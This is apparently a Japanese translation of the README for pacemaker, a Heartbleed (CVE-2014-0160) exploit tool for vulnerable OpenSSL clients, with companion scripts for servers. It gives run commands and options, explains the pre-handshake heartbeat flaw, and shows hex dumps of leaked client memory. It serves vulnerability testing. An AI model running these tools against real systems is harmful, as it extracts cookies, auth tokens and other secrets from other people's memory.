
Heartbleed (CVE-2014-0160) クライアントエクスプロイト
OpenSSL の クライアント で Heartbleed (CVE-2014-0160) の脆弱性を持つものを悪用しようとします。Python 2 および 3 に対応しています。
サーバーを起動します:
python pacemaker.py
クライアント側で https://localhost:4433/ を開いてください (必要に応じてホスト名を置き換えてください)。例:
curl https://localhost:4433/
クライアントは常に接続に失敗します:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
脆弱でない場合、サーバーは次のような出力をします:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
もし脆弱な場合、次のような出力が表示されます:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
NUL バイトで埋め尽くされた後続の行は、その後 * 1 つに折りたたまれます (xxd ツールと同様)。
より「興味深い」メモリが漏洩する例を、wget -O /dev/null https://google.com https://localhost:4433 を使用して示します:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
TLS ハートビート は TLS 接続のどちらの側からでも送信できます。ハンドシェイク完了後、これらのハートビートは暗号化されます。しかし OpenSSL はハンドシェイク完了前にハートビートメッセージを許可しているようです。これらのハートビートは (レコード層の上で) まったく暗号化されていません!
これにより、クライアント上でこのバグを悪用するのが非常に簡単になります:
証明書や暗号化キーが交換される前にハートビートが受け入れられるため、証明書は一切必要ないことに注意してください。ハートビート要求の長さがチェックされないため、クライアントのメモリから 最大 64 kiB を読み取ることができます。
pacemaker は上記の手順を実行し、ステップ 3 の結果が Alert 以外のデータであった場合、そのクライアントは脆弱ではないと判断します。一部のプロトコル (たとえば STARTTLS を使用した SMTP) で必要であれば、TLS ハンドシェイク開始前に追加データが交換されます。
オプションの詳細は ./pacemaker.py -h を実行してください。最も重要なオプションはおそらく -t (--timeout) と -x (--count) です。デフォルトのタイムアウトは 3 秒で、ほとんどのクライアントが応答するには十分なはずです (衛星リンクなどがない限り)。
ハートビートごとにより長く待機し (5 秒)、4 つのハートビート応答を取得する例:
./pacemaker.py -t 5 -x 4
理論上はハートビートに最大 20 秒かかる可能性がありますが、実際にはもっと速く応答が得られます。
以下のクライアントは Arch Linux 上の OpenSSL 1.0.1f に対してテストされ、ハンドシェイク前にメモリを漏洩しました:
links は、このバグがクライアントに与える影響を示す好例です。これはテキストベースのブラウザで、ヘッダー (Cookie、認証トークン) やページコンテンツを含む詳細を漏洩します。
pacemaker は MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
これは、パケットを生成するために pacemaker を使用する実装です。サーバーが最初のハートビート応答の直後に接続をリセットするため、繰り返し要求するたびに新しい接続を確立する必要があるという制約があります。
この制約は、採用したアプローチに起因する制限です。クライアントもハンドシェイクを完了する場合には、接続エラーなしで多くの暗号化ハンドシェイクを送信できます。
heartbleed.py は pacemaker の一部であるため、同じライセンス条件が適用されます。
以下のサーバーは、特に記載がない限り Arch Linux 上の OpenSSL 1.0.1f に対してテストされています:
openssl s_server (HTTPS)このリポジトリには、サーバーを対象とする動作するバージョンも含まれています。ssltest.py は Jared Stafford ([email protected]) によって作成されました。すべての功績は彼に帰属します! これは http://s3.jspenguin.org/ssltest.py から取得されました。
現時点では、このスクリプトは Python 2 とのみ互換性があります。